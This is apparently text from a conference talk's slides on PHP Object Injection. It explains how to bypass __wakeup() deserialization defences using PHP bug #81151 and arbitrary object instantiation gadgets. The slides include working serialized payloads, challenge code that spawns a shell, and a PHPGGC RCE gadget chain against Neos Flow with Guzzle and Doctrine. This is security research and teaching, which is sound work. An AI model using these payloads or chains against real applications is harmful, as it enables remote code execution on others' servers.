echo "You win!\n"; system("sh"); } public function __wakeup() { throw new Exception; } // Mitigation! } unserialize($argv[1]); // PHP Object Injection The same way does not work for this situation. $ php chal.php 'O:6:"Target":0:{}' Fatal error: Uncaught Exception in /path/to/chal.php:4 Stack trace: #0 [internal function]: Target->__wakeup() #1 /path/to/chal.php(6): unserialize('O:6:"Target":0:{...') 4 / 53
function __destruct() { echo "You win!\n"; system("sh"); } public function __wakeup() { throw new Exception; } // Mitigation! } unserialize($argv[1]); // PHP Object Injection It could be solved by exploiting Bug #81151. $ php chal.php 'C:6:"Target":0:{}' Warning: Class Target has no unserializer in [...] You win! whoami user 5 / 53
can be deserialized as Serializable Exploitation is trivial -- just swap O → C , like: Original: O:6:"Target":0:{} Hacked: C:6:"Target":0:{} Raises warning -- may be fatal in some environments Serializable : deprecated in PHP 8.1, removed in PHP 9 [1] [2] 1 'C': Marks that the object implements Serializable interface. 2 Discussed in PHP RFC: Phasing out Serializable. 6 / 53
experiences w/ TokyoWesterns: DEF CON, HITCON, MidnightSun CTF, WCTF (in the 2010s) Some pentest experiences in Cyber Defense Institute, Inc. Pentester (~ Mar. 2022) Tech Lead (Apr. 2022 ~) A few speaker experiences: CODE BLUE 2016 (U-24) -- House of Einherjar (ja) Security .Tokyo #1 -- Pwning Old WebKit (ja) m0leCon 2025 -- Unawakened Wakeup (en) 8 / 53
object structure with POI. The figure is taken from 'FUGIO: Automatic Exploit Generation for PHP Object Injection Vulnerabilities' https://www.usenix.org/system/files/sec22-park-sunnyeo.pdf 13 / 53
code-reuse attacks: Gadget: class with exploitable methods Gadget chain: sequence of gadgets forming execution flow PHPGGC supplys gadget chains found in popular frameworks and libraries. These chains are often triggered by magic methods, such as: __contruct() -- when the object is created __destruct() -- when the object is destroyed __wakeup() -- during deserialization 14 / 53
deserialization Originally for recovering states not preserved by serialization, such as: Reestablishing DB connections Restoring transient states, including: Open file handles Cache In short, not for security -- but ... 16 / 53
__wakeup() to mitigate POI Symfony WordPress CakePHP Yii2 Guzzle Psr7 (target in demo) Typical strategies to mitigate or block unintended deserialization include: Detecting unexpected property states → Abort! Disallowing serialization of the class entirely → Abort! Ensuring properties are safely reinitialized 17 / 53
Serializable -- reported by @J7ur8C (Same trick as the earlier challenge) Pros: (Almost) universally applicable Cons: Will break starting with PHP 9 Overwriting a property via reference after reinitialization in __wakeup() -- reported by @1nhann Pros: Does not relying on any PHP bug Cons: Only applicable in limited situations [1] [2] 1 Bug #81151 'bypass __wakeup' https://bugs.php.net/bug.php?id=81151 2 'A new way to bypass __wakeup() and build POP chain' https://inhann.top/2022/05/17/bypass_wakeup/ 18 / 53
$userInput(...) arbitrary object can be created by passing arbitrary class name Recent AOI case-studies: CVE-2024-27098: GLPI CVE-2022-31084: LDAP Account Manager 21 / 53
as AOI primitive Introducing AOI gadget to POP chain, like: class AOI { public $name = ...; public function __destruct() { new $this->name; // AOI primitive! } } Unawakened Wakeup: __wakeup() bypass technique using AOI gadget in POP chain 22 / 53
in target app, class Target { ... } class AOI { public $name = "stdClass"; public function __destruct() { new $this->name; } // AOI primitive } unserialize($argv[1]); ...deserialization could be done successfully $ php unawakened-wakeup.php 'O:3:"AOI":1:{s:4:"name";s:6:"Target";}' You win! whoami user 24 / 53
GuzzleHttp\Psr7; class FnStream { public function __destruct() { // Invoked during object detsruction if (isset($this->_fn_close)) { // (1) Invokes arbitrary method of any object call_user_func($this->_fn_close); } } } 30 / 53
{ public function __destruct() { if (isset($this->_fn_close)) { ($this->_fn_close)(); } } public function __wakeup(): void { // Invoked during unserialize() throw new \LogicException( // Mitigates PHP Object Injection! 'FnStream should never be unserialized'); } } 32 / 53
the demo... but why? Because Unawakened Wakeup came from Neos Flow research Stuck on __wakeup() in pentest of Neos Flow app in 2019 Succeeded solving it during a post‑engagement research 34 / 53
\PHPGGC\GadgetChain\RCE\FunctionCall { public static $version = '9.0.2'; ... public function generate(array $parameters) { $function = $parameters['function']; $parameter = $parameters['parameter']; return new \Neos\Flow\ResourceManagement\Publishing\MessageCollector( new \Doctrine\ORM\Query\TreeWalkerChainIterator( [ 'GuzzleHttp\Psr7\FnStream' ], /* Not an instantiation, but a string */ [ 'close' => [ new HandlerStack($function, $parameter), 'resolve' ] ], null, new \Doctrine\ORM\Query\TreeWalkerChain(null))); } } 38 / 53
GuzzleHttp\Psr7; class FnStream implements \Psr\Http\Message\StreamInterface { ... public function __destruct() { // Invoked by object destruction if (isset($this->_fn_close)) { // (5) Invokes arbitrary method of any object ($this->_fn_close)(); } } } 44 / 53
gadget to bypass __wakeup() when exploiting POI. For PHP developers: Use JSON or validate data with HMAC, as recommended in the PHP manual. For aspiring hackers: Share what you discover in your work -- the community is eager to learn from you! 51 / 53